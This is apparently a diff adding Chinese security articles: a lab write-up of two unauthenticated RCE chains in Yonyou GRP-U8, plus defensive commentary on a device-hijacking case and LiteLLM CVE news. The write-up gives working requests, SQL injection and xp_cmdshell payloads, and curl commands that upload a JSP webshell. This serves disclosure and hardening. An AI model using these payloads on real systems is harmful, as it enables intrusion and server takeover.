3.3 通用建议
定期更新系统补丁，减少系统漏洞，提升服务器的安全性。
加强系统和网络的访问控制，修改防火墙策略，关闭非必要的应用端口或服务，减少将危险服务（如SSH、RDP等）暴露到公网，减少攻击面。
使用企业级安全产品，提升企业的网络安全性能。
加强系统用户和权限管理，启用多因素认证机制和最小权限原则，用户和软件权限应保持在最低限度。
启用强密码策略并设置为定期修改。
3.4 参考链接
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96951/
https://www.malwarebytes.com/blog/bugs/2026/10/update-windows-record-patch-tuesday-fixes-flaw-already-under-attack
doc/2026-10/一个漏掉的过滤，一个空掉的名单： 用友 GRP-U8 的两条零权限 RCE.md
+425
View File
@@ -0,0 +1,425 @@
# 一个漏掉的过滤，一个空掉的名单： 用友 GRP-U8 的两条零权限 RCE
原创 YNsec
YNsec YNsec安全实验室 2026-10-20 07:31
# 一个漏掉的过滤，一个空掉的名单：用友 GRP-U8 的两条零权限 RCE
安全研究 · 漏洞利用链拆解 · 靶场实录
摘要
同一个系统、同样零权限，一条要对着数据库「敲」几分钟才敢确认，另一条两个 curl 就拿到 root。本文拆开两条链，看看「一行过滤没调」和「一个名单是空的」分别能把系统送走多远。
**免责声明：**
本文所述测试全部在授权靶场环境中完成，目标地址与凭据均已脱敏（IP 使用 RFC5737 文档专用地址段）。内容仅用于安全学习与防御加固，请勿用于任何未授权测试。
## 一、先说结果
两个靶标，同一个产品：**用友 GRP-U8**
。两条链都从「手上什么都没有」开始，最终都拿到了最高权限——但过程完全是两种画风。
<table><thead><tr><th style="background: rgb(244, 247, 251);border: 1px solid rgb(227, 232, 239);padding: 9px 8px;text-align: left;font-weight: 700;color: rgb(31, 45, 61);"><section><span leaf="">项目</span></section></th><th style="background: rgb(244, 247, 251);border: 1px solid rgb(227, 232, 239);padding: 9px 8px;text-align: left;font-weight: 700;color: rgb(31, 45, 61);"><section><span leaf="">链路 A（VE-0698）</span></section></th><th style="background:#f4f7fb;border:1px solid #e3e8ef;padding:9px 8px;text-align:left;font-weight:700;color:#1f2d3d;"><section><span leaf="">链路 B（VE-0828）</span></section></th></tr></thead><tbody><tr><td style="border:1px solid #e3e8ef;padding:9px 8px;font-weight:600;"><section><span leaf="">入口</span></section></td><td style="border:1px solid #e3e8ef;padding:9px 8px;"><section><span leaf="">TaskManager 任务接口</span></section></td><td style="border:1px solid #e3e8ef;padding:9px 8px;"><section><span leaf="">SmartUpload01.jsp 上传组件</span></section></td></tr><tr><td style="border:1px solid #e3e8ef;padding:9px 8px;font-weight:600;"><section><span leaf="">手法</span></section></td><td style="border:1px solid #e3e8ef;padding:9px 8px;"><section><span leaf="">存储过程注入 → </span><code style="background:#f0f3f7;color:#c7254e;border-radius:3px;padding:1px 4px;font-family:Consolas,monospace;font-size:11.5px;"><span leaf="">xp_cmdshell</span></code></section></td><td style="border:1px solid #e3e8ef;padding:9px 8px;"><section><span leaf="">任意文件上传 → JSP 木马</span></section></td></tr><tr><td style="border:1px solid #e3e8ef;padding:9px 8px;font-weight:600;"><section><span leaf="">最终权限</span></section></td><td style="border:1px solid #e3e8ef;padding:9px 8px;"><section><span leaf="">MSSQL </span><strong><span leaf="">sa</span></strong><span leaf=""> 级 / 容器内系统命令</span></section></td><td style="border:1px solid #e3e8ef;padding:9px 8px;"><strong><span leaf="">root</span></strong><section><span leaf="">（uid=0）</span></section></td></tr><tr><td style="border:1px solid #e3e8ef;padding:9px 8px;font-weight:600;"><section><span leaf="">回显</span></section></td><td style="border:1px solid #e3e8ef;padding:9px 8px;"><section><span leaf="">盲打，靠时间与数据双重验证</span></section></td><td style="border:1px solid #e3e8ef;padding:9px 8px;"><section><span leaf="">直接回显</span></section></td></tr><tr><td style="border:1px solid #e3e8ef;padding:9px 8px;font-weight:600;"><section><span leaf="">利用成本</span></section></td><td style="border:1px solid #e3e8ef;padding:9px 8px;"><section><span leaf="">高（要分步配置、要造证据）</span></section></td><td style="border:1px solid #e3e8ef;padding:9px 8px;"><section><span leaf="">极低（两个 curl）</span></section></td></tr></tbody></table>
把它们放一起，不是为了对比难度，而是因为它们各自暴露了一类非常典型、又很容易被忽略的缺陷：
- **链路 A：**
一整个模块里，只有一行安全过滤「忘了调」；
- **链路 B：**
一份用来限制上传的白名单，默认是**空的**
，而空名单的语义被写成了「全部放行」。
## 二、先聊一个残酷的事实
在一头扎进 payload 之前，有个背景值得先说：这一轮对 **1197 份漏洞报告**
做了全量扫描，结果能真正打出去的寥寥无几。
原因是——**漏洞存在，和漏洞可达，是两件事**
。报告里大量「前台」漏洞的入口，在当前这套部署里根本触发不了：
- Servlet 压根没在 web.xml
 里映射，请求进来就是 404；
- Axis 的 server-config.wsdd
 没有部署，一堆 SOAP 类漏洞没有入口。
纸面上 1197 个洞，98% 是「看得见摸不着」。所以本文这两条链的价值，恰恰在于它们**是真正打得出去的那 2%**
——而且都是零权限。
💡 这个现象对防守方是个好消息，也是坏消息。好消息是绝大多数纸面漏洞暂时不构成实际威胁；坏消息是——**只要有一条入口是通的，前面所有的「不可利用」都会瞬间失效**
。
## 三、链路 A：漏掉的那一行过滤
### 3.1 两个端点，都不需要登录
TaskManager（任务管理）模块暴露了两个接口：一个写任务，一个跑任务。两个都没有做身份校验：
HTTP 请求 · 无任何凭据
POST /TaskManager/EBankTaskServlet?m=1 HTTP/1.1
Host: 192.0.2.50:8080
Content-Type: application/x-www-form-urlencoded
taskjson={"eBankCategory":"test"}&taskname=test_probe&optionType=edit&enabled=false
响应
HTTP/1.1 200 OK
success
再访问执行端，同样不需要 Cookie：
HTTP 请求 · 无任何凭据
GET /TaskManager/TaskServiceServlet?m=3&taskname=test_probe HTTP/1.1
Host: 192.0.2.50:8080
响应
HTTP/1.1 200 OK
success
「能访问」只是开始。真正有意思的是这两个端点串起来之后会发生什么。
### 3.2 从任务文件到 prepareCall
写任务时，eBankParameters
 会被原样存进一个 .tjon
 任务文件；跑任务时，再被解析出来当参数用。于是一路走到这里：
漏洞触发链
POST /TaskManager/EBankTaskServlet?m=1        ← 写任务文件，无认证
  └─ saveJSONFile()  → 生成 .tjon（内容完全由 eBankParameters 决定）
GET  /TaskManager/TaskServiceServlet?m=3      ← 执行任务，无认证
  └─ runtask() → ExcuteEbankTask.excute()
      └─ excute1()   解析 eBankParameters，取出 Proc= 后面那一段
      └─ InvokeExcute()   反射调用
          └─ EbankWebService.EbankLoopProcedureOperation()
              ⚠ 整个模块里唯一没有调用 sqlFilter() 的方法
              └─ EBankForProcedure.Execute()
                  └─ conn.prepareCall("{call " + str + "}").execute()
                      └─ 任意存储过程 / 任意 T-SQL
关键就在最后那行：**存储过程名是字符串拼进去的**
，而不是走参数化。{"{call " + str + "}"}
 这个写法一旦接受外部输入，就等于把数据库的命令行交给了对方。
⚠️ 而真正让这条链成立的，是上面那个 ⚠ 标记：**EbankLoopProcedureOperation 是唯一一个没有调用 sqlFilter() 的方法。**
 别的 Operation 都防了，就它没防。这类「全员一致、只有一处例外」的疏漏，是最难靠代码评审抓到的——因为看十个方法都对，第十一个才不会有人仔细看。
### 3.3 没有回显，怎么证明自己打通了？
这条链是**盲打**
——命令执行了，但结果不会回显给你。这时候判断「到底成没成」，就成了纯技术活。
第一招，**时间盲**
。让数据库睡 3 秒，看请求是不是真的慢了 3 秒：
taskjson 字段（POST 时作为表单值发送）
{
  "eBankCategory": "EbankLoopProcedureOperation",
  "eBankParameters": "Proc=sp_executesql(N'WAITFOR DELAY ''00:00:03''')",
  "taskName": "t1"
}
两次请求的耗时对比
POST 写任务 → success   ( 32ms)
GET  跑任务 → success   (3012ms)   ← 3 秒延迟，注入真的生效了
第二招，**建表 + 写数据 + 读回**
。光延迟还不够硬，那就让数据库留下痕迹：
通过链执行的两条 T-SQL
CREATE TABLE ve0698_proof(
    id  int identity(1,1) primary key,
    val nvarchar(255),
    ts  datetime default getdate()
)
INSERT INTO ve0698_proof(val) VALUES('RCE_VERIFIED_1785029865')
然后用条件延迟「问」它一句：表里有数据就睡 5 秒，没有就不睡。
条件延迟验证
IF EXISTS(SELECT 1 FROM ve0698_proof)
    WAITFOR DELAY '00:00:05'
响应
success (5017ms)   ← 数据确实写进去了
💡 这套「时间 + 数据 + 配置状态」三重交叉验证，是盲打场景的标准做法。**没有回显不等于没有漏洞**
，只等于你不能靠一眼看结果——得自己设计一个能被观察到的副作用。
### 3.4 开 xp_cmdshell，为什么要分四步
想在 MSSQL 上执行系统命令，得先把 xp_cmdshell
 打开。这里遇到了一个很实际的限制：**jTDS 驱动不支持堆叠查询**
，没法用分号把几条语句连着发。只能拆成四个独立任务，一步一步来：
分四步（每步一个独立任务）
1) EXEC sp_configure 'show advanced options', 1
2) RECONFIGURE
3) EXEC sp_configure 'xp_cmdshell', 1
4) RECONFIGURE
开完之后再做一次状态确认——已启用就立刻返回，没启用就睡 5 秒，用耗时反推结果：
状态确认
IF (SELECT value_in_use FROM sys.configurations WHERE name='xp_cmdshell') = 1
    WAITFOR DELAY '00:00:00'
ELSE
    WAITFOR DELAY '00:00:05'
响应
success (11ms)   ← 0 延迟，说明 xp_cmdshell 已经开了
最后一步，真正执行系统命令：
通过链调用 xp_cmdshell
Proc=master.dbo.xp_cmdshell('touch /tmp/ve0698_RCE_VERIFIED.txt')
Proc=master.dbo.xp_cmdshell('id > /tmp/ve0698_id_output.txt')
到这里，从一个匿名 HTTP 请求，走到了数据库容器的系统命令执行。中间用到的所有东西，都是这个系统自己提供的。
## 四、链路 B：空掉的那份名单
如果说链路 A 还需要一点耐心，链路 B 就简单到有点离谱——**两个 curl，中间不用任何技巧**
。
### 4.1 那个「短路」
SmartUpload 是个老牌的 Java 上传组件，它本来是有扩展名校验的：
SmartUpload.java · 扩展名校验
if (!this.m_allowedFilesList.isEmpty()
        && !this.m_allowedFilesList.contains(fileExt)) {
    throw new SecurityException("此种扩展名的文件不允许上传(1010).");
}
这段代码单看是没问题的：**名单非空，且扩展名不在名单里 → 拒绝**
。逻辑很标准。
但问题出在「默认值」上。m_allowedFilesList
 是个 Vector
，只有在业务代码显式调用 setAllowedFilesList()
 时才会被填充。而这个 JSP 页面**从来没有调用过**
：
实际发生了什么
m_allowedFilesList 默认是一个空 Vector
  → isEmpty() 返回 true
  → !isEmpty() 为 false
  → && 短路，整个条件为 false
  → 校验被整段跳过，任何扩展名都放行
⚠️ 这就是典型的 **fail-open（失败即放行）**
。安全默认值应该是反过来的：**名单没配置，就什么都别让传**
。写这句判断的人显然默认「一定会有人来配置名单」，可现实是——没配的时候最多。
### 4.2 两个 curl
第一步：上传
curl -s -F "uname=shell" \
     -F "file1=@shell.jsp;filename=shell.jsp" \
     http://192.0.2.60:8080/u8qx/SmartUpload01.jsp
响应
<html><body><font color="red">图片名称shell.jsp</font><br></body></html>
回显里那句「图片名称」其实已经把答案写出来了——这个页面的设计初衷是**传图片**
，但它既没校验类型，也没校验扩展名，更没要求登录。
第二步：访问刚上传的文件
curl http://192.0.2.60:8080/u8qx/upload/shell.jsp
响应
root
就这两步。没有爆破、没有绕过 WAF、没有链路拼接——**Tomcat 以 root 跑，木马落地即 root**
。这也是这条链最刺眼的地方：容器里用 root 跑中间件，把一个「上传」直接升级成了「整机沦陷」。
### 4.3 插曲：一个反斜杠
这条链在验证时还踩了个很有意思的坑，值得单独说。源码里写文件路径是这么写的：
SmartUpload01.jsp · 硬编码反斜杠
String filename = getRealPath("\\") + "u8qx\\upload\\" + name;
在 Windows 上这没问题。但这套部署跑在 Linux 上——而**反斜杠在 Linux 里是合法的文件名字符**
，不是路径分隔符。于是：
实际后果
文件被写成字面量：u8qx\upload\shell.jsp   （反斜杠成了文件名的一部分）
Tomcat 8.5 拒绝 URL 中的 \ 或 %5C → HTTP 400
结果：上传成功了，但你访问不到它
验证时先把路径改成前斜杠才跑通。**这个细节说明一件事：能不能打通，有时取决于目标跑在 Windows 还是 Linux 上**
——同一份代码，换一个操作系统，结论可能完全反过来。
## 五、两条链的本质差别
<table><thead><tr><th style="background: rgb(244, 247, 251);border: 1px solid rgb(227, 232, 239);padding: 9px 8px;text-align: left;font-weight: 700;color: rgb(31, 45, 61);"><section><span leaf="">维度</span></section></th><th style="background: rgb(244, 247, 251);border: 1px solid rgb(227, 232, 239);padding: 9px 8px;text-align: left;font-weight: 700;color: rgb(31, 45, 61);"><section><span leaf="">链路 A</span></section></th><th style="background:#f4f7fb;border:1px solid #e3e8ef;padding:9px 8px;text-align:left;font-weight:700;color:#1f2d3d;"><section><span leaf="">链路 B</span></section></th></tr></thead><tbody><tr><td style="border:1px solid #e3e8ef;padding:9px 8px;font-weight:600;"><section><span leaf="">缺陷类型</span></section></td><td style="border:1px solid #e3e8ef;padding:9px 8px;"><section><span leaf="">「该做的没做」——一行过滤漏调</span></section></td><td style="border:1px solid #e3e8ef;padding:9px 8px;"><section><span leaf="">「默认值想反了」——空名单当成全放行</span></section></td></tr><tr><td style="border:1px solid #e3e8ef;padding:9px 8px;font-weight:600;"><section><span leaf="">发现难度</span></section></td><td style="border:1px solid #e3e8ef;padding:9px 8px;"><section><span leaf="">高（要对比十几个同类方法才发现例外）</span></section></td><td style="border:1px solid #e3e8ef;padding:9px 8px;"><section><span leaf="">低（看一眼条件判断就明白）</span></section></td></tr><tr><td style="border:1px solid #e3e8ef;padding:9px 8px;font-weight:600;"><section><span leaf="">利用难度</span></section></td><td style="border:1px solid #e3e8ef;padding:9px 8px;"><section><span leaf="">高（盲打 + 分步配置）</span></section></td><td style="border:1px solid #e3e8ef;padding:9px 8px;"><section><span leaf="">极低</span></section></td></tr><tr><td style="border:1px solid #e3e8ef;padding:9px 8px;font-weight:600;"><section><span leaf="">致命程度</span></section></td><td style="border:1px solid #e3e8ef;padding:9px 8px;"><section><span leaf="">数据库整库 + 容器命令</span></section></td><td style="border:1px solid #e3e8ef;padding:9px 8px;"><section><span leaf="">直接 root</span></section></td></tr><tr><td style="border:1px solid #e3e8ef;padding:9px 8px;font-weight:600;"><section><span leaf="">共同点</span></section></td><td colspan="2" style="border:1px solid #e3e8ef;padding:9px 8px;"><strong><span leaf="">都不需要任何账号</span></strong><section><span leaf="">，都发生在「忘了一件事」的地方</span></section></td></tr></tbody></table>
这两条链恰好代表了企业系统里最常见的两类失守：一类是**逻辑上的例外**
（别人都防了，就这一个没防），一类是**默认值上的错判**
（为空时应该拒绝，却写成了放行）。它们都不需要什么高深技巧，只需要有人认真问一句「这里到底该怎么默认」。
## 六、修复清单
针对链路 A（存储过程注入）
1. 给 /TaskManager/*
 加认证过滤器，要求有效登录态；
1. 在 runtask()
 与 saveJSONFile()
 内部补身份校验（不要只依赖 web.xml）；
1. **把 sqlFilter() 补进 EbankLoopProcedureOperation**
，让它和其它 Operation 保持一致；
1. 存储过程调用改成**参数化**
，别再拼 "{call " + str + "}"
；
1. 数据库连接账号不要用 sa，按最小权限授权。
针对链路 B（任意上传）
1. 给 SmartUpload01.jsp 补认证检查（引入 session 校验）；
1. **显式调用 setAllowedFilesList()**
 并做成白名单（只允许图片），不要依赖组件默认值；
1. 上传目录**禁止 JSP 执行**
（Tomcat 里单独配置 Context）；
1. 文件名随机化，不要直接用用户传的名字；
1. 弃用 SmartUpload，换 Commons FileUpload 等现代组件。
两边都要做
1. **禁用 xp_cmdshell**
：EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE
；
1. **中间件不要用 root 跑**
。链路 B 之所以一击致命，很大程度是因为 Tomcat 进程就是 root——换一个低权限用户，同样的漏洞危害立刻降一个量级；
1. 清理遗留的测试页面（SmartUpload01.jsp
 这类「上传演示页」是典型的历史包袱）。
## 写在最后
两条链放在一起，我想留下四点：
1. **「例外」比「错误」更危险。**
 十个方法都调了过滤，第十一个没调——这种缺陷代码评审几乎抓不到，因为评审者的注意力会被「大家都对」消耗掉。
1. **安全默认值必须是 fail-closed。**
 名单为空就该全拒，配置缺失就该关闭功能。把「没配置」当成「不限制」，是最常见也最贵的错。
1. **没有回显不等于没有漏洞。**
 时间、数据、配置状态，三条线交叉起来，盲打一样能拿出铁证。反过来，看到 500 或空白就断定「不存在」，也常常是误判。
1. **运行身份决定后果的量级。**
 同一个上传漏洞，Tomcat 跑在 root 下和跑在低权限用户下，是两起完全不同的事故。
最后回到那个数字：1197 份报告，98% 打不出去。**这不是让人松口气的理由，而是提醒——你只需要关心那 2%，因为它们一旦通了，就是零权限直达 root。**
觉得有收获？
点个「在看」和「赞」，顺手查一下你们中间件是不是还在用 root 跑 👇
下一篇我们聊「
JeecgBoot
」。
doc/2026-10/公司修漏洞时又被攻击，30万台设备被控案还留下什么.md
+44
View File
@@ -0,0 +1,44 @@
# 公司修漏洞时又被攻击，30万台设备被控案还留下什么
原创 tcode
tcode 字节脉搏实验室 2026-10-20 03:27
![](https://mmbiz.qpic.cn/mmbiz_png/nOo5YmK1PHyxwApPwOaRPq4A5eO13LSI1af3mmQwcJTlBQdZqwg6PibhHic1qWIV0fd20DB64Y3tJ2J20rW9sIrJ7hVQoD4v9TG7bNibZIgDWU/640?wx_fmt=png "")
9月17日，广东广州公安网安部门披露的一起案件里，有一个人人都能看懂的反常细节：一家技术公司发现自家系统漏洞，准备升级修补，攻击者没有收手，反而继续攻击，结果企业业务中断了数小时。等警方查明规模，已经被非法控制的各类计算机设备有30余万台。10月20日回看这份公安部“净网—2026”通报，最值得琢磨的不是数字大，而是“升级了还被打”和“找到30万台之后，到底该怎么收场”。
公开通报的叙事很克制。报案方是某技术公司的工作人员，异常是大量用户设备被非法控制。广州警方查明，高某某、陆某某为首的团伙利用这家公司开发的系统漏洞实施攻击。公司升级时，团伙继续攻击，造成业务中断数小时。高某某等6名犯罪嫌疑人已被依法采取刑事强制措施。这里没有药企、医院或某地居民的受害者名单，也没有公开系统名称、漏洞编号、恶意程序名称和30万台设备的具体地区分布。写作时不能把“被控制”扩写成“30万人遭到诈骗”，也不能把嫌疑人被采取强制措施写成已经判决。
但“利用一个漏洞”与“控制30余万台设备”之间，不可能只隔一次扫描。更合理的调查顺序是：先找到能触达系统的入口，再取得账号、会话或设备管理权限，随后建立可持续的命令通道，最后才可能出现大规模设备响应。官方没有把这四步逐项公开，所以后半段只能作为待验证的机制假设。这个边界必须保留，却不妨碍安全人员问两个具体问题：平台管的是设备，还是只是接受设备上报数据的后台？平台一旦能从云端下发命令，谁有权签发，签发记录能否回放？
从管理和运维角度看，漏洞是入口，30万台设备是影响面，业务中断数小时是服务连续性事件，三者不是同一个指标。很多复盘会把它们混成一句话：“漏洞导致30万台设备被控制。”这句话会掩盖真正难处理的部分。漏洞可能只提供进入平台的方式；要形成批量控制，还需要身份、命令、回连和持久化条件。警方发现的设备数量也不等于每个设备背后都有一名独立受害者，一台被控主机可能属于企业，也可能是共享环境中的虚拟机或终端。
这也是为什么复盘的第一步不是画一张整齐的攻击流程，而是把数字放回时间轴。报案发生在什么时候，公司何时确认漏洞，升级从几点开始、几点结束，持续攻击出现在升级前还是升级后，30万台是同一时点在线数量还是案件累计发现数量，公开材料都没有给出精确答案。能写实的只有因果关系中的骨架：漏洞被利用，企业升级时仍遭攻击，业务中断数小时，警方随后查明控制规模。空白处应该标明“未披露”，而不是用行业常识补齐成一套看似完整的黑客故事。
我最关心的转折发生在企业升级期间。正常情况下，补丁会减少可被利用的入口，攻击流量应当逐步失效。此时仍然出现持续攻击，可能有三种情况：一是新版本没有覆盖所有旧入口，老接口、旧域名或未迁移节点还在；二攻击者已经掌握管理凭据或会话，补丁只堵住最初进门的方式，还没有把门内的人赶走；三是升级窗口本身改变了网络拓扑、日志采集或访问控制，给了攻击者重新连接的机会。公开通报没有给出足够证据，不能指定是哪一种，但这三种假设都能被日志切开。
把三种假设做成一张排障表，值班人员就不容易在“补丁没打成功”和“补丁后仍被控制”之间反复猜。若是旧入口未覆盖，应该能在升级后的访问日志里看到旧路径、旧域名或旁路节点仍有请求；这类线索要求升级清单覆盖全部入口，而不是只改主站。若是凭据或会话残留，旧账号可能在补丁后继续通过，或者已签发的令牌仍在调用接口。若是升级窗口暴露了新通道，时间关联会比恶意样本更明显，异常往往集中在变更开始、负载切换或健康检查重定向附近。三组线索可以并存，排查时不必急着找一个唯一解释。
一个很实用的口径是，把“修好入口”和“清掉控制”分成两张工单。第一张工单处理版本、配置、暴露接口和默认凭据；第二张工单处理已经发出的令牌、仍在联网的设备、异常管理员账号、计划任务、代理设置和设备侧外联。只完成第一张就宣布安全，往往会看到短暂平静后又出现相同回连。对一家设备管理平台而言，第二张工单尤其重要，因为它面对的不是一台服务器，而是成千上万台依赖云指令的终端。
现场应先固定证据，而不是大规模重启。至少导出漏洞披露前后的反向代理、身份认证、管理后台和出站连接日志，统一时钟后找同一条命令链：某个管理账号从哪里登录，调用了什么下发接口，哪些设备在随后一分钟内收到同一指令，又向哪个目标发起了相似连接。再对照补丁实施时刻，看看失败请求是否只是换了路径、旧会话是否继续有效、设备是否从新地址重新上线。没有日志不等于没有控制，日志留存不足本身也要记成待补证据。
如果企业自己就是被利用的平台，处置还应有一个“命令面清场”清单。先冻结怀疑账号和令牌，检查签发服务是否可撤销旧会话；再停用不再需要的下发接口，阻断已知控制目标的出站，同时保留镜像和连接记录；随后按设备分组抽样，核对本地账号、服务、计划任务、远程控制和代理配置；最后再处理大规模清理。先删日志、先格式化平台或先给全部用户发通知，都会削弱后续判断。30余万台是一个总量，实际处置必须按业务关键性和证据强弱排序。
设备侧则要从三个现象交叉判断。看异常指令是否超出该设备正常业务；看本地是否出现新的服务、定时任务或远程控制组件；看出站目标是否与平台白名单和业务时段不符。只有一台设备出现异常可能是误报，大量设备在同一时间向相同小目标发送低频心跳，就更接近控制面特征。若权限允许，应先在隔离网段保留样本，再封禁控制域名和端口、撤销可疑令牌、重置管理员凭据，最后才按资产优先级重装或回收设备。顺序反过来，可能先毁掉唯一的定位线索。
一个可以直接转述给值班同事的判断是：补丁部署后，如果旧会话仍能调用管理接口，或者不同地点的设备突然向同一新地址发送规律心跳，就不能用“版本已升级”结案。此时要同时查平台命令日志和设备侧进程、计划任务、网络连接。找到补丁修好的入口只是起点，控制指令是否仍有权签发，才是这起案件留下的真正问题。
对管理者而言，还有一条不应省略的责任线。企业必须先能证明自己知道哪些设备由平台控制、谁有权下发命令、日志保留多久，才能在异常发生时分清“平台功能”与“攻击者操作”。如果资产数据主要由用户自助上报，平台停机时又无法关联本地设备，事后就只能拿到一个很大的数字，很难解释哪些业务真正受影响。案件尚在侦办，公开信息不足以追责某一个人或某一款软件；但用户平台运营者至少应从今天开始补上资产映射、命令审计和离线下线流程。
这份公开材料也有明确缺口：没有说明攻击者如何取得系统权限，没有披露30余万台设备所在行业、是否已经清除控制，也没有说企业数小时中断的具体原因。6名嫌疑人被采取刑事强制措施，仅说明案件进入刑事程序。对普通读者而言，最值得记住的不是“30万”这个数字，而是一个朴素的防守原则：修漏洞是在关入口，查凭据、断通道、清终端才是在把已经进来的人送出去。两件事都完成，事故才可能真正结束。
![](https://mmbiz.qpic.cn/mmbiz_png/nOo5YmK1PHxLKoXsSJJwF81iaeB0C8xicVPRnH7IYeKbXlgpz57GzMIwfGnDc5AspcHvDpibpguymOjVLbNrnGicmibJicRhZE2L99mEkQ3PGiatro/640?wx_fmt=png "")
 
## 来源
央广网转法治日报，《公安部公布打击整治网络违法犯罪10起典型案例》，2026-09-18 09:21:59，https://www.cnr.cn/mspd/sywzl/20260918/t20260918_527817283.shtml
南都N视频，《攻击企业系统漏洞，非法控制30余万台计算机设备！6人落网》，2026-09-17 11:50，https://www.sohu.com/a/1077233307_161795
doc/2026-10/月下载9000万次的AI网关LiteLLM曝双漏洞：低权限账号就能偷走你所有API密钥.md
+123
View File
@@ -0,0 +1,123 @@
# 月下载9000万次的AI网关LiteLLM曝双漏洞：低权限账号就能偷走你所有API密钥
原创 欢迎关注→
欢迎关注→ 安全客 2026-10-20 06:53
![](https://mmbiz.qpic.cn/sz_mmbiz_png/ribStUdgfRibSMjwdLibCDXjHJ9fYhm4Tqy3qqUa1KOLMOh4Uy5N26uicz79QlnwyptRs9usBhJibc7X84VAGIxLln0nUUrTB7R7ah0ibytgbgfj0/640?from=appmsg "")
Check Point披露LiteLLM两大漏洞CVE-2026-35029和CVE-2026-59823，低权限用户可接管AI网关、读取服务器文件、窃取企业存储的AI厂商API密钥，1.83.9以下版本全受影响。
一家互联网公司的AI平台工程师最近遇到了件怪事：他们内部平台上，一个刚入职的实习生，居然调通了GPT-4的接口，用的还是公司统一采购的企业级API密钥。查了一圈才发现，问题不在权限配置，而在他们部署的LiteLLM网关——这个组件里藏着一个漏洞，任何拥有最低权限账号的人，都能把整个网关的配置改得面目全非。
这不是孤例。Check Point Research（CPR）最近披露了LiteLLM的两个漏洞，一个月下载量超过9000万次的AI网关，在1.83.9版本之前，几乎是门户大开的状态。更要命的是，LiteLLM不是某个小众工具，它是连接企业应用和OpenAI、Anthropic等140家AI厂商的标准接口，GitHub星标超过61000，被嵌入了无数内部平台和AI应用里。
## 一、LiteLLM是什么：AI时代的"总开关"，也是"总钥匙"
先搞清楚LiteLLM是干嘛的。简单说，它是一个开源的AI网关，作用是把企业的应用和各家大模型厂商接到同一个接口上。开发者不用关心OpenAI的API怎么调、Anthropic的密钥怎么管，LiteLLM统一处理路由、负载均衡、密钥管理、用量监控和成本控制。
正因为它是"统一入口"，所以LiteLLM手里握着的东西极其敏感：企业存储在里面的，是OpenAI、Anthropic、Azure OpenAI等厂商的真实API密钥。这些密钥一旦泄露，攻击者不仅能白嫖企业的AI算力，还能通过API调用记录反推企业的业务逻辑、用户数据甚至商业机密。
Check Point发现的两个漏洞，恰恰就砸在了这个"总钥匙"上。
## 二、CVE-2026-35029：低权限用户，一键改配置
第一个漏洞是权限控制缺陷，编号CVE-2026-35029，严重性评分8.7/10（高危）。
问题出在LiteLLM的/config/update
端点。这个接口本来是用来动态修改网关运行时配置的，但代码里压根没检查调用者的角色。这意味着什么？任何已经通过身份验证的用户——哪怕只是一个普通员工、一个实习生、一个被钓鱼攻击拿到的低权限账号——都可以向这个端点发送请求，修改网关的任意配置。
改配置能干什么？攻击者可以：
- 读取服务器上的任意文件，包括存储API密钥的配置文件
- 把请求重定向到自己控制的服务器，截获所有经过网关的AI调用
- 直接接管管理员账户，把整个网关变成自己的傀儡
- 在网关上植入恶意代码，实现远程代码执行（RCE）
CPR的研究员说得一针见血："配置的权限"和"实际执行的权限"之间的差距，正是这类漏洞造成最大破坏的地方。很多企业在管理后台里设置了"只读用户""普通用户""管理员"的分级，但代码里没做校验，一切形同虚设。
## 三、CVE-2026-59823：SSRF漏洞，内网穿透的敲门砖
第二个漏洞是服务端请求伪造（SSRF），编号CVE-2026-59823，评分5.3/10（中危）。虽然评分不高，但配合第一个漏洞使用，威力翻倍。
SSRF的本质，是让服务器代替攻击者去访问内部资源。LiteLLM作为AI网关，天然需要访问外部API，但如果不对目标地址做严格校验，攻击者就能构造恶意请求，让网关去访问内网的数据库、元数据服务、或者其他不该暴露的系统。
在云上部署的场景里，SSRF往往是获取云服务器临时凭证、进而横向移动的第一步。一个中危的SSRF，加上一个高危的配置修改，攻击者就能从"低权限用户"一路打到"内网核心数据"。
## 四、影响范围：1.83.9以下全中招，而且藏得很深
LiteLLM官方已经在1.83.9版本中同时修复了这两个漏洞。所有低于这个版本的实例，都在风险范围内。
但真正的麻烦在于"间接运行"。LiteLLM不是那种需要单独部署、单独运维的大型软件，它经常被嵌入到其他平台里：企业内部的AI中台、SaaS化的AI应用、开发者自己写的内部工具。很多团队可能根本不知道自己的系统里跑着LiteLLM，更谈不上及时升级。
CPR在报告里特别提醒：安全团队需要排查"间接运行"的LiteLLM实例。那些从未单独部署过LiteLLM的环境，可能正因为嵌入了某个AI框架、某个内部平台，而暴露在风险之中。
## 五、修复与排查：升级只是第一步
**立即升级。**
把LiteLLM升级到1.83.9或更高版本。如果通过pip安装，执行：
```
```
**审查访问权限。**
检查谁有权限访问LiteLLM的管理接口，特别是/config/update
端点。确保只有proxy_admin
角色的用户才能调用配置修改接口。
**轮换API密钥。**
如果发现网关曾被未授权访问，或者无法确认历史访问记录，立即轮换存储在LiteLLM中的所有AI厂商API密钥。OpenAI、Anthropic、Azure OpenAI，一个都不能漏。
**排查隐藏实例。**
在企业内部搜索所有依赖LiteLLM的项目，包括那些通过SDK、框架间接引用的场景。检查requirements.txt、package.json，搜索"litellm"关键词。
**监控异常调用。**
在网关上启用详细的访问日志，监控是否存在异常的配置修改记录、异常的API调用模式。
## 六、写在最后
LiteLLM的漏洞，是AI基础设施安全的一个缩影。当企业蜂拥而上拥抱大模型时，往往把注意力放在了模型能力、Prompt工程、业务场景上，却
忽略了底层网关、密钥管理、访问控制这些"老问题"。
AI时代的安全，没有新魔法，全是基本功。
一个低权限账号就能接管整个AI网关，偷走所有API密钥——这样的故事，不该在2026年还在上演。
检查你的LiteLLM版本，现在。
![](https://mmbiz.qpic.cn/sz_mmbiz_gif/o0buL62hK7M8RnVz7mqRVDRkqm2sJeT2icM4WyR7kMkHpLVaicR3tJ4gr5kIb4zje9lXgd5PuOw42Z5KtathltcQ/640?from=appmsg "")
**END**
推荐阅读
[3.5万次请求、翻找泄露密钥：失控AI智能体围猎高德地图，运营者却毫不知情](https://mp.weixin.qq.com/s?__biz=MzA5ODA0NDE2MA==&mid=2649790587&idx=1&sn=38aa20efb77571be0a0fed789da1789f&scene=21#wechat_redirect)
2026-10-19
[](https://mp.weixin.qq.com/s?__biz=MzA5ODA0NDE2MA==&mid=2649790587&idx=1&sn=38aa20efb77571be0a0fed789da1789f&scene=21#wechat_redirect)
